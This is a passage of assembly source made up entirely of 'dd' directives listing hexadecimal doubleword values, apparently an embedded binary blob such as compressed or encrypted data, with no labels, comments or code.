dd 93D7757Ch, 0EEFD0088h, 0A9EFAAF7h, 3300D5A1h, 7891AB95h
dd 0E12DF74h, 2C03636Ch, 6E1892A0h, 1C070C71h, 0BAD3C6Fh
dd 0FA1A7FC0h, 267258BCh, 4B0FC0Eh, 21C84360h, 6B001C85h
dd 9C0CA37Eh, 7B7B6322h, 0EAFA00FFh, 6897B636h, 14B09DA5h
dd 21DDB212h, 0E1EDB604h, 0F0DA9083h, 0A71C9Ah, 0D6752B8Dh
dd 7DE69983h, 710E7206h, 3D20ABBDh, 4480D8F8h, 0B959D0E5h
dd 0DC00391Ah, 2EC1EA4Bh, 53CF099h, 0D6502283h, 0C7E88757h
dd 0C801E3C2h, 0AD9D09B8h, 4E217100h, 66B6881Ah, 5AB809E9h
dd 6A00D034h, 6C2C57BFh, 218B549h, 771B0729h, 0D6586916h
dd 93DE424h, 1001D227h, 0DF15ACA1h, 0D6BCC844h, 98F52300h
dd 0E733E252h, 34B0392h, 7DB5E15h, 41C5AD88h, 0A7A83D00h
dd 0EFAEFDFCh, 99781E83h, 0B3B6029Ah, 48E052C3h, 5B16C935h
dd 0A7001E89h, 0C1706E7h, 0BE7C4Ch, 32368B45h, 28806219h
dd 0E49B8701h, 976D007h, 0BE95C8h, 56D64B82h, 79CA4EC9h
dd 0CBDA5000h, 8FBD55EBh, 0F26D008Eh, 408969A7h, 8B03A8CCh
dd 92AB61A0h, 0E8698C4h, 7C2B03F8h, 525AF34Ch, 0A1A7B180h
dd 3024EF00h, 151A472Eh, 801B159Fh, 363B8C49h, 0F8B2A582h
dd 44C82795h, 7700DDCCh, 0BFC7C1D7h, 0CB37CAh, 32CE3CB1h
dd 5575A460h, 54082213h, 94F38C00h, 1F4B11h, 9196E28Ah
dd 24460682h, 0FCC04E00h, 0ADE53F55h, 0D6EE0004h, 0CE05528Fh
dd 0AF00D5B9h, 326E7267h, 481DCD91h, 0C0496619h, 0E4455300h
dd 37936F98h, 0E9F0831Eh, 0C01AA20Fh, 7EAB2380h, 0B080ED97h
dd 0E0129A13h, 1A07A32Ch, 18A21CEAh, 6A2F7641h, 2E064028h
dd 61266162h, 673FC90Eh, 638780DCh, 0FA1D5F8h, 54FD9659h
dd 20E51387h, 73DB2DF7h, 27D7C400h, 0FAB19119h, 0CCED005Fh
dd 0E466E2AFh, 0FE00DF90h, 0E34B2F9Ah, 68AC7F6Dh, 505439ABh
dd 6842C42h, 1BA2D4B8h, 99DD6062h, 88459900h, 0ECF316B0h
dd 615E0034h, 17690393h, 0AD0335D2h, 7CC9C7A6h, 6779866h
dd 6DA31F70h, 0AE2280A4h, 0E67B68ACh, 67BD3Ah, 5259C05Fh
dd 82A097h, 8CED1B62h, 0A70BC7DAh, 110AF000h, 0BD36F2B0h
dd 0E155059Bh, 0EEFEB4BAh, 0F3E9A980h, 3A7748h, 408E354Ah
dd 4C3F43C8h, 72F8F900h, 0AE0601F5h, 641600C6h, 0D64108A3h
dd 8700046Dh, 0B8CDA94Fh, 377B86CAh, 0F0E02F48h, 0C95E724Eh
dd 102ED800h, 0CF334988h, 3BB400FCh, 866131D1h, 68FEB19Ch
dd 39431B30h, 324ABA8h, 7B3923A0h, 19004460h, 6A171A53h
dd 0B7E730h, 6241F6D4h, 95BAA472h, 283B3E24h, 0E97A4040h
dd 0A7DF669h, 93299BD5h, 56FE8E24h, 6084840h, 2001D963h
dd 1F1CCB81h, 0FCE062DAh, 0EEA8030Ah, 13913479h, 0E4E855D0h
dd 0EC414916h, 4FBE9500h, 8F1719h, 4A570AFDh, 78267BC4h
dd 998B6200h, 0C16FB85Bh, 6EFF1DB9h, 1A9D8FB1h, 2FF396E1h
dd 86D8D741h, 270006C7h, 5F2C658Fh, 5011264h, 0F8468C5Eh
dd 1F9C008Bh, 0C44105E4h, 13063500h, 0AFCBF701h, 779A0764h
dd 0A0B6FEC6h, 3C39D372h, 2B38AC7Eh, 0FA5A0307h, 0C09DF6BBh
dd 0D7D0Fh, 0F8E287B9h, 7901BD53h, 3EC81900h, 86976A69h
dd 95F10773h, 1F294A49h, 2111A80h, 84166D89h, 0EC00030Ch
dd 0A978CA55h, 1357C2Fh, 0D12EE212h, 5A39F63Fh, 1CF88A04h
dd 605D0423h, 6C01B946h, 0FDE74400h, 0EE09B1ADh, 5D90009Dh
dd 41DE3F63h, 0A41FC07Fh, 53C777AFh, 0BFB05C18h, 45DD3Bh
dd 0CCDCA2F6h, 0BD01B837h, 2539EC00h, 540747E2h, 0C70E1803h
dd 562670DFh, 0C4879E00h, 0B397CEC5h, 0ECB60024h, 0AE844530h
dd 0CA0018B7h, 3FC5C7A2h, 29C83C6Ah, 0C22011FCh, 0DD303462h
dd 0D9BD60F7h, 0DC4D7C54h, 92A1FB2Ch, 0D61FDB00h, 74E69E5Ch
dd 30E978F2h, 0D470CFE5h, 5E078C52h, 0C7F560D3h, 19876E30h
dd 0FDA11339h, 98C01188h, 30E8C030h, 0C578E18Ch, 4DCBB21Eh
dd 2D18A428h, 0AC29AD2Ch, 3C400CEh, 551EC2ABh, 2D00C7BCh
dd 2294248Eh, 6FA49013h, 8DA01045h, 0C74CF4B1h, 7F2A021Ch
dd 18D91A0Ah, 5C00DC97h, 45FFC33Ch, 0F61CA011h, 0C636740Dh
dd 589C8428h, 0C4825500h, 373921EFh, 124F8D0h, 44E72D10h
dd 8023E429h, 0C47B7431h, 1E1A4836h, 85268558h, 0C3301C67h
dd 60098F8Ch, 8F8D6B2Dh, 108AC0F5h, 3EDE3DC4h, 24003736h
dd 0EC670D6Ch, 0CE140BD4h, 14C8F2Dh, 1DD15305h, 4DF9F476h
dd 88A73C0h, 4CA7C444h, 2E4A6B1Fh, 8008643Ah, 852C8558h
dd 0F6D0C7C4h, 6EF82137h, 0DB7E8400h, 0DFA1335Ah, 70B87F81h
dd 8F78182Ah, 0B96E29D1h, 80CBEA00h, 89FD2251h, 96B100FFh
dd 0CE2E5F49h, 0A4000B7Eh, 8B66A581h, 1C6E7717h, 1C1C2239h
dd 4814CE1Fh, 8A00EE4Eh, 7B772A26h, 0FEBED200h, 0FBB1DD31h
dd 0E6A8005Ch, 0B7F4F732h, 0EC174E62h, 1FE8094h, 74A27675h
dd 802FE1A3h, 60421230h, 609F1F68h, 95BF10D4h, 0FB019B81h
dd 0B515D17Eh, 30412618h, 2980284Bh, 3CBE5892h, 171BD399h
dd 1E96A5ABh, 16BAF60h
dd 2814DAD1h, 724D4EBh, 17403260h, 7C5C853Dh, 0BA220151h
dd 838863CDh, 0FF08CC42h, 0D39B400h, 0F1536CEh, 683C1EA3h
dd 0AB26C101h, 0DC90E07Ah, 38003764h, 59E581DCh, 6FA3023Eh
dd 4FC02910h, 39F711D0h, 9ED33800h, 16BDDC19h, 0AA2211F5h
dd 4241003Dh, 8FE32DC8h, 284D3D86h, 3ECDD800h, 9A9821Fh
dd 1802351Eh, 2BE67D00h, 30D15938h, 0DC41134Ch, 17E80861h
dd 0F000BC76h, 47D14FF7h, 7EAB683Fh, 0A5C58025h, 17306960h
dd 46FF90h, 5738BDBCh, 0C989373Dh, 7850166Fh, 3842FAA0h
dd 618034AEh, 44F7DC17h, 99904709h, 0C091F300h, 0A9FF25F6h
dd 0C8F91B3Bh, 0DDB021CEh, 0F07848FAh, 39C011F4h, 0C25286C8h
dd 85980394h, 23E0DA0Dh, 3A70F9F8h, 0F113FB00h, 0C06E361Fh
dd 470C30D7h, 83C54F40h, 440BA01h, 6AA82329h, 2A68FF0h
dd 0EF5EFC18h, 3C83F9C0h, 390023D8h, 0DE796729h, 0C4FFABE6h
dd 21FEC328h, 3E130AD9h, 124287C0h, 370C53Ah, 55F1157Dh
dd 9C10197h, 5686646Ch, 8708149h, 0BE66A16h, 0A0554086h
dd 71F8E13Fh, 18085931h, 90C22B24h, 50C1F96Ch, 0F1DB40C3h
dd 883C9048h, 0ED00E92Ah, 12017720h, 7F4DC7h, 6BC0405Ch
dd 176C0B63h, 39FB3C30h, 98EAD7h, 1B0F71C3h, 4F5EE785h
dd 19031800h, 0DF49884Ch, 0E71C3EDh, 0D2DB2BAFh, 0DABD16A0h
dd 75487D03h, 908B8208h, 0C2DBAEDh, 0FAB69A41h, 86004FB0h
dd 0FD0158C4h, 0A5DCF83Ah, 30E581E8h, 0F068E055h, 0D43B34A7h
dd 0A8F92AC0h, 0E8C48300h, 0F839EB69h, 0CE5CA0DFh, 841C03Ah
dd 0B1047362h, 0AADEB30Ah, 8A3EB01Eh, 0A4529E33h, 0B2E9C83h
dd 0B963E845h, 4199005Ch, 0B6FD810Dh, 5D527318h, 8F5002B8h
dd 902B2311h, 8C874064h, 4706DE10h, 6D602900h, 766A4638h
dd 9FFC9338h, 410358A3h, 6F5487h, 7E6B09B1h, 0C7930ADEh
dd 1EC15E18h, 2069C1h, 28D394EDh, 0B6CC5FEh, 33CFBF00h
dd 6A398814h, 0DAE309Eh, 5A2E34A1h, 10853100h, 0BAD74C0Ch
dd 1FEA778Ch, 0F233D39h, 0CCE0C6D1h, 0F9BCEE6Eh, 7F37E400h
dd 969A4731h, 33D0CAFDh, 0C01E47C4h, 5E4E4B0Bh, 0CE31C500h
dd 7B20F487h, 2CEC1D59h, 0D013CAE3h, 8417C4E4h, 52E440D4h
dd 7E874A55h, 0EC71F400h, 4FFB8868h, 2B900FDEh, 17203B13h
dd 0C6D40923h, 9C03D129h, 43B5DE07h, 0C9A600CFh, 0F4D6B7E9h
dd 0F8774Ch, 270E9D41h, 661779E6h, 37654603h, 2A15405h
dd 75640941h, 0A8A216DEh, 9446FE30h, 0C622AA74h, 0E79F31C4h
dd 0F81CF008h, 1200F7C9h, 80CC4E1Eh, 9264390h, 48D8DAD0h
dd 3309FD80h, 0DCA4A054h, 0F507058h, 86507A38h, 241943AEh
dd 0A1141667h, 8D5585ACh, 0DCEC464Ah, 9DEE81FFh, 0B780D300h
dd 0E4EC1626h, 4364009Bh, 0F727F183h, 30932D95h, 4F02DA88h
dd 60C18943h, 36EBDF90h, 9CA8BAE6h, 110013C3h, 0E108FF1h
dd 14AF9E4h, 0A656306Ah, 0E854BDE6h, 4C00CAC6h, 0C1CF860Ch
dd 53E216h, 83664663h, 0C614DDC7h, 0B17A9207h, 2230CCDEh
dd 0B819DF2Fh, 3AFC008Ah, 1F1CA1E5h, 16F0A40Eh, 0C3C88218h
dd 79BCF08h, 0D814B2DEh, 60CC06A7h, 4E0052F8h, 9C285374h
dd 1A16FA4h, 0C41B19D2h, 0CC82D370h, 4906F27Dh, 84A87C9Eh
dd 16880098h, 1F5C5EB7h, 800173C9h, 76C6A66Fh, 79809BAEh
dd 0DC2B2969h, 3D0095DFh, 0B94D6684h, 1B452EFh, 56F2834Eh
dd 80A89B18h, 47C7FD31h, 6DA4232h, 4599046Eh, 0C107B815h
dd 4024B67Eh, 0E069C516h, 56960E60h, 2785358Ch, 229843FEh
dd 39008FC7h, 538B7A7h, 0EAA975h, 6544B8A3h, 8DD932C9h
dd 20E8020Fh, 0F1F0461h, 23493FC1h, 680D718Ch, 0DE09DA51h
dd 80F33913h, 4AA327D5h, 3D76002Bh, 3053426Fh, 0D97C654Fh
dd 28443500h, 0A78DA01Ch, 9250306Bh, 3797E189h, 0A55464E4h
dd 3A0099A0h, 2C4D79C3h, 348004h, 0F49BE207h, 7CB50587h
dd 4061B61Eh, 9FF06C18h, 0B9703BA3h, 0ECD2043Ah, 2B00C422h
dd 7265EF7Dh, 1FE9209h, 88E88E1Fh, 48941A19h, 33755CC8h
dd 643A0300h, 4A3F764Dh, 591D00E2h, 97A5420Bh, 9D22B921h
dd 65CF00A7h, 1EF0B014h, 51128478h, 1000A54Ch, 8313A0B8h
dd 7ABB05FAh, 2222449Ah, 0A620919Ch, 29FA73h, 0E6C65C5Ah
dd 0C4402D84h, 0DD0E563h, 0BA29608Fh, 0B2B33953h, 67121F1Ch
dd 24A78A3Bh, 293DB048h, 0E48F8468h, 0C49E8091h, 0E6962EA2h
dd 0A749CE7Fh, 12443092h, 28074BE8h, 67A178DBh, 80BBBCAAh
dd 6229698h, 17C6A36h, 6C9290E8h, 893444DEh, 10CDA0A8h
dd 0B15C20h, 0EE437E8Bh, 2B5735DDh, 4E746600h, 6E1F80ABh
dd 0B7103F2Ch, 48938450h, 0A524A286h, 9AAA0300h, 7918B87Ch
dd 6DA9730Dh, 150C0039h, 2271E86Fh, 0B9007FE1h, 0D9BB2818h
dd 0D71CAFh, 9839B0EBh, 2A9759C1h, 4C522892h, 75187FCCh
dd 0D111A29Dh, 46ED00F8h, 472B0C05h, 2D52966Eh, 27690CC4h
dd 1C39FDh, 380513A1h, 0B06F7AB7h, 8C3BA612h, 90C48046h
dd 79440EF9h, 69401642h, 9224C29Eh, 0F50B3B03h, 9860E245h
dd 904382C4h, 0D0E03F78h, 279DA792h, 490C9034h, 5F39E2DAh
dd 0CF1F81D8h, 0C0042481h, 13CB4ED4h, 3051ECADh, 1B1D0138h
dd 0F18D1409h, 4AC01FCh, 5C322772h, 1C1A4705h, 0B880496h
dd 4427489Fh, 46489CB9h, 0E8191444h, 1F1D0960h, 78A0CDFBh
dd 78A3DAE5h, 50E1D892h, 0E77099D8h, 0C18F9602h, 6408A6BBh
dd 489A264Ch, 0D8754444h, 74F00194h, 3C6523Eh, 0A673EC1Dh
dd 637CE8FEh, 1C1413A4h, 83100020h, 0C670B85Dh, 198C60A8h
dd 0B613689Bh, 3375FC00h, 77BC4Fh, 0CA75730h, 2D1FE102h
dd 62F1039h, 6A6F93BBh, 0EC245378h, 5074E73Fh, 0F91780C0h
dd 0FF001037h, 9F25C17Bh, 5D06DA14h, 0A7B3503Ah, 9A840688h
dd 0E06A1F40h, 99FFF4h, 987F6F07h, 1CA56BE1h, 18C44CC6h
dd 29A1AEE2h, 0B301A257h, 0EE42A9Bh, 18E4BDFFh, 7A4F0223h
dd 0FA3660E1h, 9E5F18C0h, 0A70A8647h, 92CCD0FEh, 48D90693h
dd 9098DDh, 52AB7200h, 1CEE4241h, 0EC4A5299h, 64301E20h
dd 7C5C1120h, 907CEBh, 2A6ED2D4h, 2D528F09h, 0C8448CB0h
dd 0EF94A1B8h, 3A7ABAF4h, 0D04967E3h, 5FA29100h, 19E20ED3h
dd 5966AD00h, 30822551h, 0D4900B4h, 61E4FE85h, 581F3C98h
dd 7F00F775h, 0EA222902h, 0C8B6088Ch, 420E1585h, 1FBFC0AFh
dd 5B6B47h, 5ACCD7DAh, 0E47395FAh, 9740570Bh, 8A9C30CAh
dd 0BE42319Fh, 246D0D91h, 31031CE0h, 40F77130h, 0A9B2B8DEh
dd 4B73018Ah, 8EB9FD44h, 23A1ED21h, 54C83E80h, 0E0000AFCh
dd 0BF66154Eh, 7FD7B9B2h, 4430BAFCh, 2EFEB07Bh, 80038972h
dd 0C6256BA6h, 924100CBh, 0B7639788h, 2A008A51h, 0EA8FE8E9h
dd 0EA168704h, 24EC004Bh, 1F48614Eh, 0A41A4027h, 0C0D0F5F8h
dd 91FCAECAh, 2874411Ch, 64945197h, 35F183A4h, 0F01AB9FFh
dd 73E2F53Ah, 178500F9h, 0CA3749Fh, 9041B0Eh, 974D9442h
dd 12404D8h, 23057199h, 72751CE5h, 0A5AE8414h, 0B8F95490h
dd 1CBA0E72h, 0F640F2BFh, 0DB5F6557h, 7D0C9B7Bh, 91AE6431h
dd 0EC484E63h, 0AC201385h, 0A1C69022h, 77D7F18Ch, 9ADEBD8h
dd 39904CFDh, 25C93007h, 9BAC4974h, 0D81B9010h, 0D1A02404h
dd 58901F67h, 0E8366181h, 0BBEC0084h, 0FFD33142h, 18571360h
dd 488D0098h, 86D4D595h, 1AAC4467h, 749E4F00h, 70F8F675h
dd 0C0A6EEBCh, 5BBB8171h
dd 5D134F53h, 3AC7E55h, 13AF0074h, 46A60EC2h, 40246016h
dd 9A0A848Ch, 76002C49h, 4C5E159Eh, 31370BCAh, 0A41BF274h
dd 747FE022h, 0EA58989Eh, 143205BDh, 101C139Bh, 0C4497C95h
dd 30F41E85h, 8F951C94h, 0C8B3D402h, 0C68770DFh, 0BA589Ch
dd 54311A00h, 47B6BF51h, 0A205917Ch, 0E428965Eh, 209CB022h
dd 3ED1268Dh, 0C0A20600h, 93899F52h, 0A150663h, 76921788h
dd 92B8D649h, 3C3C7212h, 5999609Dh, 0F6A2A0Dh, 0B425E100h
dd 6F2973DCh, 0B9060AD0h, 43B894E5h, 39A0BF60h, 0F8ED1A01h
dd 0ED00DD70h, 61AE1F22h, 0B8976992h, 0E0F34C14h, 6B58B582h
dd 0C8D37C98h, 7130C749h, 5B5C12F0h, 78DC0D8h, 5C94589Eh
dd 0E5078C22h, 0E5B64F31h, 152C9ECEh, 988E0Dh, 852422B3h
dd 0F83B7C8h, 0BD5FFB87h, 0B46F3380h, 0C5033A94h, 70D52B6Dh
dd 89B076B5h, 46C76BCh, 0AE646FD3h, 0C3FA3040h, 0F0005B80h
dd 0ACC4D4E9h, 383CFBF3h, 0DD3F736Eh, 857EA980h, 5416D8DAh
dd 137A07ECh, 0F373600Ch, 0BD21DFh, 0DB694B9Fh, 45D499AEh
dd 391AAF00h, 0C971B9EFh, 17FD0CCCh, 431D912h, 924CD500h
dd 0FB65509Dh, 69983B85h, 934D9500h, 308A7CCFh, 0C8636F00h
dd 3ECA1E4Bh, 847D01A2h, 485D043h, 6402D031h, 0EF588700h
dd 0FC57A092h, 6FA30651h, 28390FEAh, 462B4500h, 29564095h
dd 7F28FAA4h, 0B463001Eh, 0DA27AA4Ch, 1A337DA1h, 0B34E5953h
dd 1840A684h, 183A95EAh, 0CB3E7BEFh, 626A0030h, 0A752E306h
dd 995D0688h, 7101FD9Ah, 0C90C640Ch, 504187h, 5876E4EEh
dd 8F2FAB8Eh, 0A814620Ch, 39B2052h, 5E1B3EA0h, 5DB07349h
dd 7C0C2A20h, 4003B4C5h, 0AA81078Fh, 0B05A78C6h, 156924E8h
dd 34802100h, 0F31DECE1h, 5E520038h, 32A25394h, 3D0C7177h
dd 0D1C8954Dh, 92811539h, 17C4A462h, 234E423Dh, 9B78847Eh
dd 0A3FAE840h, 0AE01B767h, 8804ED49h, 9980B6C5h, 0ECC82E5h
dd 0D50031A0h, 61F0D173h, 0CDD9B01h, 0B8270C30h, 0D897071Eh
dd 95AB0A7Eh, 408C4D4Fh, 70116765h, 8C64323Ah, 0C092B229h
dd 51FB3045h, 18AE5B80h, 1648DA00h, 70C78263h, 7E677D1Eh
dd 1AC60092h, 0E2C26B19h, 0EB003FE5h, 0DF05A214h, 789125Ah
dd 88F4629Ah, 1A0980BAh, 0B900F9C4h, 879B41D1h, 1B5130h
dd 8443D52Fh, 8FBAE746h, 0D6778001h, 0B77ED9C0h, 2AB948BBh
dd 32A26A4h, 3B01918Ch, 705DD790h, 5B5814F0h, 46037199h
dd 0C972C0D5h, 0DD6C90A8h, 44CF00F1h, 57FB2789h, 0E0CCA07h
dd 0A1E98F77h, 0E2220339h, 0CC96E394h, 0FCF0BAF9h, 3C00C248h
dd 9184522Dh, 0C235344h, 0E1F49440h, 0FE88AA98h, 0CFB23BCEh
dd 50CA0498h, 8D009EBAh, 0A6C9242Fh, 3A6568BEh, 63174BC6h
dd 180A030Eh, 0A803217Ch, 0EA307212h, 53380010h, 0E0C7F671h
dd 8C00B78Eh, 0DB67787Fh, 69F8ADh, 4B5AE2B6h, 0A717B3Ch
dd 247DF61Dh, 44552601h, 0D180DE8Fh, 0E1AC282h, 0FFC4B2Fh
dd 4701CD98h, 0A0D85E3h, 0C3DC49CBh, 18E8E089h, 78AD7DF3h
dd 0FB180CC1h, 89D931A2h, 88723Ah, 78468CEFh, 0F8AE81CBh
dd 8AB95303h, 0AC2BA2h, 8C52B629h, 0B32F8003h, 0C204AA15h
dd 5DB10084h, 6B5E07A5h, 3FF00A51h, 17EC7EC4h, 417D19BFh
dd 0A027E86Dh, 55F5C800h, 222C66E6h, 0DF84008Eh, 8DFC101Eh
dd 9778F2ACh, 38B86404h, 0C3C7A30Ch, 88BB12D0h, 0AB0B0ACBh
dd 805447B4h, 599DFEE8h, 0B124C707h, 8A1D2C71h, 57709400h
dd 0EC302F44h, 0B0260177h, 0C2B3F52h, 66488ECCh, 0BA8746CAh
dd 4F8000A0h, 0F7FA6321h, 0B1547BC9h, 28307290h, 0EC56E95Ch
dd 9B19C078h, 0EF8D2211h, 0B91CAE00h, 0E3C5B638h, 844D29DEh
dd 0FAB30558h, 0E1E780A2h, 0F7015D64h, 302B4432h, 0CC41D328h
dd 9C25A163h, 56F240E2h, 39C324D5h, 12BD00E5h, 0D40A0852h
dd 0B853F276h, 15FF26BCh, 71A18102h, 0D0E1E1E4h, 2725C24h
dd 61840279h, 0F8829553h, 0CF23DB05h, 0D54100C9h, 6ADF59E9h
dd 0A20E742Dh, 0BDCEB36Ch, 0ED0CDDC5h, 71B7E437h, 0C90A3CBAh
dd 65C09C64h, 30B60A6Dh, 4DC9F663h, 0CA00DB99h, 0FBEA0D4Eh
dd 3134E5h, 0FDEB1B9Bh, 32F4C5F9h, 0BF285A09h, 8F7C03E7h
dd 0B7A101A8h, 449AC71Ch, 52BB7011h, 25F9DE05h, 0FC354802h
dd 3E208437h, 0A3BE751h, 0A91DEBABh, 0FF9807F3h, 56295075h
dd 0C98399Ah, 22605448h, 4A721B1Ch, 8B0B1FAh, 20904BBDh
dd 4467C8AEh, 80AFF78Ah, 3EF2C8E1h, 0B0EC2416h, 52BCBE04h
dd 0C08A3D85h, 81FC67D0h, 8F767FC9h, 0A0259029h, 159A174Eh
dd 58F40030h, 0F659B475h, 1E5034DBh, 9006D10h, 87B3D7EFh
dd 6098071Dh, 282F18EDh, 3706BB94h, 21B8DF29h, 712B0031h
dd 0E2D3D5B4h, 5F78773Bh, 80882240h, 7400295Bh, 47F981B9h
dd 18F7DB39h, 402C3E43h, 720B0277h, 87E5502Fh, 0F01CB37h
dd 0F883603Ah, 0E8ABBADh, 270140D8h, 5C579400h, 5FE68F30h
dd 759D0015h, 5BCBD2Fh, 1100EE4Bh, 0F55A581h, 2A28220Ch
dd 1E54BBDFh, 0F2464F29h, 52ED1B0h, 705DDC98h, 2AC7D443h
dd 14A10005h, 0AA9D7A0Fh, 82E4E8A6h, 0DC90010Dh, 2D40E016h
dd 457F93h, 5A1B9E55h, 92689903h, 0A9A5780Dh, 0DFF08830h
dd 6504593h, 660071E7h, 0EDDBAAAEh, 7C0656h, 83E1D9BEh
dd 0C49A2759h, 6F3513Eh, 38292862h, 85C30091h, 0DD5CDBFEh
dd 0B4A83691h, 7200891Dh, 0D05820F7h, 30C5AE29h, 0B869F379h
dd 0CF00A0F5h, 43D2B7D6h, 1B412B24h, 413B900Bh, 0ED7EF2F0h
dd 0E6F85506h, 57194D72h, 0C30CB093h, 1AC9E796h, 29207032h
dd 80BCB026h, 511D22ADh, 336D1600h, 0F94134FBh, 0E6EAB4h
dd 99E404D7h, 90A7AF66h, 1C494A60h, 5B8C8Dh, 5718B462h
dd 21039B1Dh, 9C178114h, 3C3A7AE8h, 0E5C05491h, 0F6383300h
dd 7AFB305Dh, 11F0579h, 40FDB470h, 45A30FF0h, 4A1CB7ECh
dd 0A0094EEEh, 50502CADh, 0CC5E52B8h, 3201F522h, 0DCB5376Ch
dd 63CCF114h, 0FEB2008Ch, 57E5736Bh, 751CA454h, 0D146D62h
dd 76F4098Ch, 0ED540435h, 40D16080h, 258204D2h, 91157517h
dd 0D9CAF704h, 9D0E002Fh, 0D47C336Dh, 0E1012698h, 0D9B344A1h
dd 0F0D58FE9h, 65629185h, 829A8079h, 0BB1B23ABh, 0D2E96E36h
dd 1D1E03D0h, 1886C907h, 66A332FDh, 0E8F7C143h, 0F64D3FD8h
dd 87C4917Bh, 0E39584E2h, 76B94FE9h, 7842244h, 2DF73BB0h
dd 60154302h, 83C15Dh, 207538FEh, 7C860366h, 7773A900h
dd 3D475F70h, 114937Dh, 0BAAC0EAEh, 7493F275h, 0BF5F0AE0h
dd 0B8307660h, 1DA58525h, 84B4B1BDh, 9139B6F7h, 8EE41E74h
dd 20763BD1h, 0FC0C1299h, 30BCAE52h, 0E295C1Dh, 680034F0h
dd 0ADDF45E9h, 74BB9C4h, 1C24C8D6h, 42418E87h, 2291DE0Ah
dd 6CFF00E0h, 648F070Fh, 1E43160Bh, 0E64F093Fh, 28B26018h
dd 11007AFEh, 0CDA84195h, 0F03CBBh, 88C475F6h, 616487ECh
dd 1DA4514Ch, 207977h, 8EF1962Fh, 7EBA7DD0h, 8924CE03h
dd 0E8112223h, 38F53979h, 7426EBC4h, 99046EC4h, 91C091E0h
dd 308C2432h, 2423DE07h, 0A3505C0Bh, 1D2C3Dh, 8B3FF859h
dd 38F75258h, 900D898h, 82786D99h, 9B25EE56h, 0DF2E0244h
dd 412F21BFh, 94C7A810h, 5460ED45h, 0F935C84h, 394CC2BDh
dd 67143033h, 5713F910h, 840C6FC8h, 3AD1935h, 48893C76h
dd 4EB8C5C2h, 72010C46h, 9F9BC325h, 9891759Ah, 73A1F8Ch
dd 28E9E218h, 68FC0ACEh
dd 80CCDE90h, 0C51C347Fh, 0CB00560Ah, 40665DD9h, 4C49D85Ah
dd 6C460806h, 4CC5913Eh, 58076A64h, 528E9E97h, 2E5EB9F0h
dd 20A2014Ch, 6996CBB8h, 841DA2Ch, 49C98030h, 52AB7684h
dd 32EAF6h, 0E4073D89h, 0FD78191h, 479F4B00h, 0C821D38h
dd 0F18B0508h, 84D3C16Ch, 4930C054h, 0B090F8FDh, 4572E718h
dd 92031559h, 918C006Ch, 6A5FF95Ch, 0CD00C4E6h, 0B8FD2D7Ah
dd 5CA55781h, 252CC25Dh, 629E364h, 1F1E413Eh, 7B4024DCh
dd 68EFE5E6h, 1601F296h, 8D91B45h, 78A688D8h, 708F0C8Ah
dd 0AB7D3A00h, 0E284ECh, 7A13A845h, 0F6F3E629h, 7B86A500h
dd 5AB2A198h, 0F71609D9h, 58A012C8h, 0D2436F99h, 968E4A9h
dd 139C41Ch, 0D77CEB9Eh, 17F47925h, 0D66FB270h, 0DBD0010Ch
dd 4D0E204Bh, 589C27B1h, 1E750C04h, 28C11Bh, 8CE8DEB2h
dd 58DA53C5h, 98C48B00h, 75AEA69Bh, 3860BB35h, 9BC917Dh
dd 2420C391h, 75740D0Bh, 94DAAD00h, 70B8BB40h, 2BF12687h
dd 11542640h, 9DB50225h, 0E007ED9Fh, 88508470h, 28A16B1Ah
dd 0C7215h, 418312C4h, 282E3442h, 448C570Fh, 9248C37Ch
dd 813484B4h, 4CF7BCDCh, 0C9C745Fh, 81B9899Ah, 46199500h
dd 0C762E01h, 1DAC2637h, 0DE9A4084h, 9909CBDBh, 8ECAE50Eh
dd 143E282h, 82A49B86h, 488044AFh, 5480A891h, 0C1D008CAh
dd 0F8BCD900h, 0A759C03h, 0C67102B2h, 10BCB27h, 1E52446Ch
dd 24E70080h, 0DD84C17Fh, 0A8FC0009h, 21FA02B2h, 0B73B73BEh
dd 38DE8723h, 0BB45B837h, 270FA820h, 540D5981h, 200B897Bh
dd 58EA879Ch, 84366300h, 49A32927h, 2CDF40A9h, 2FA1F71Dh
dd 0A8984834h, 5110097h, 4CF4AE31h, 1B76C1A0h, 515C7800h
dd 262C8BD9h, 16249068h, 20797D85h, 0FDBCFFE8h, 0D2475000h
dd 0B65886E0h, 0AC4B7F70h, 0B4ACCh, 6BF76370h, 0F000145h
dd 0B66DF6ACh, 0A01BBADEh, 5EBF6Ch, 943B6B72h, 811F8C50h
dd 9113A09Bh, 73909827h, 595F5AA7h, 3A8B8489h, 3191F803h
dd 75332900h, 8E99F249h, 0A5C900C7h, 0F67A36EFh, 1E004F3Bh
dd 9272464h, 7FDD91C8h, 0B0384C5Ch, 479D8603h, 1C926A25h
dd 0EF0FB453h, 9A07A228h, 984A0EEh, 7978748Bh, 15EB088h
dd 2725936Eh, 283B43F7h, 67088EC8h, 0CDC4C52Dh, 76C52097h
dd 943AF098h, 2EBFE2B4h, 39231221h, 3BADF064h, 3A925BBBh
dd 0C5044475h, 101E0BD4h, 0A971B0h, 854D8C2h, 0A91F39Dh
dd 8ACE2F00h, 0CDC3A8FBh, 958C106Bh, 6DC85057h, 72AEAD44h
dd 0FB70AB07h, 0F524E7E0h, 809914C1h, 17D5036h, 6259E3Ah
dd 36341897h, 540F2E40h, 0EC6707E1h, 8C0E598Fh, 0D0280164h
dd 7D3645A8h, 2AC1AA13h, 0DBFEEC20h, 0E0C00008h, 0D16932E4h
dd 0BE3AF847h, 559F8027h, 80A4ACECh, 1DA512BDh, 0D2891DB2h
dd 0ED8CD97Bh, 221E113Bh, 91AD9050h, 0E0580077h, 19089552h
dd 1D30C702h, 0E5C8211Ah, 58123975h, 0A2B64280h, 3649A8FDh
dd 7AD650Bh, 14280B7Fh, 1218D6D0h, 0B0C4906Dh, 7002FD2Ah
dd 0D506C738h, 0C388B075h, 71576296h, 8CA0FA44h, 2EDB34D8h
dd 855ECD00h, 1F4C5DF6h, 623D022Ah, 0B6C126A1h, 65726C50h
dd 8C6C5F24h, 0F91ECD43h, 0C22C461h, 40D06D11h, 0F11FC57Ch
dd 6655DF97h, 95FDC494h, 0BCE9CA83h, 29EF0082h, 45155884h
dd 78532EE2h, 6DE3C030h, 0D34C3E35h, 0DDB400F6h, 0AF5B8F74h
dd 0C051AF0h, 5D0E41BCh, 10D80D8h, 0BF767BA1h, 8220B8DEh
dd 84105A1h, 1DC06056h, 0F09D2807h, 1CB62244h, 69E17764h
dd 45A30E40h, 4896AFB8h, 4D8EA585h, 0A93F600Dh, 0C629BC1h
dd 0C28800Ch, 5A00A119h, 666B7A6Fh, 1C8D6Eh, 1570E6C1h
dd 331B4AB9h, 0B412AEE2h, 6C0E50F5h, 231040DCh, 13732C5Fh
